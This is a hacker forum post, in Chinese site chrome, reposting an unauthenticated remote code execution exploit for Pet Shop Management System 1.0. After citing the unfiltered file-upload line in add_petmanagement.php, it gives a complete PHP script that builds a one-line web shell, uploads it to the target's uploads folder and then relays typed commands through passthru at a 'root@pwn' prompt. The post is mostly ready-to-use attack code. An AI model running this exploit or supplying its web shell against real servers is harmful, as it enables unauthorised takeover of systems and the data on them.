跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

Pet Shop Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)

精选回复

发布于
# Title: Pet Shop Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 28.09.2021
# Author: Mr.Gedik
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14962/petshop-management-system-using-phppdo-oop-full-source-code-complete.html
# Version: 1.0
# https://asciinema.org/a/mjRFsUvshjGIcTsped1PAH8CB


Vulnerable code controllers/add_petmanagement.php
Line 21 - move_uploaded_file($_FILES["images"]["tmp_name"],
$_SERVER['DOCUMENT_ROOT']."/Petshop_Management_System/uploads/" .
addslashes($_FILES["images"]["name"]));

Exploit
#############

<?php
/*
@author:mrgedik
*/
function anim($msg, $time)
{
    $msg = str_split($msg);
    foreach ($msg as $ms) {
        echo $ms;
        usleep($time);
    }
}

anim("__  __       _____          _ _ _
|  \/  |     / ____|        | (_) |
| \  / |_ __| |  __  ___  __| |_| | __
| |\/| | '__| | |_ |/ _ \/ _` | | |/ /
| |  | | |_ | |__| |  __/ (_| | |   <
|_|  |_|_(_) \_____|\___|\__,_|_|_|\_\
", 900);

echo PHP_EOL;
while(1)
{
    echo anim("Target (http://example.com/path/): ", 800);
    $target = trim(fgets(STDIN));
    echo PHP_EOL;
    if (filter_var($target, FILTER_VALIDATE_URL) === FALSE) {
        echo "Not a valid URL".PHP_EOL;
    }else {
        break;
    }
}
@unlink("exp.php");
$fw = fopen("exp.php","a+");
fwrite($fw,'<?php $_POST[m]($_POST[g]); ?>');
fclose($fw);

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_URL, $target."/controllers/add_petmanagement.php");
$fields = [
    'images' => new \CurlFile("exp.php", 'image/png', 'exp.php')
];
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);


$response = curl_exec($ch);
@unlink("exp.php");

if(strstr($response,"success"))
{
    while(1)
    {
        echo anim("root@pwn: ", 800);
        $command = trim(fgets(STDIN));
        if($command == trim("exit"))
        {
            exit;
        }
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL,$target."/uploads/exp.php");
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS,"m=passthru&g=".trim($command));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        echo curl_exec($ch);
        curl_close ($ch);
    }
}else
{
    echo anim("Fail", 800);
}


?>
            

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。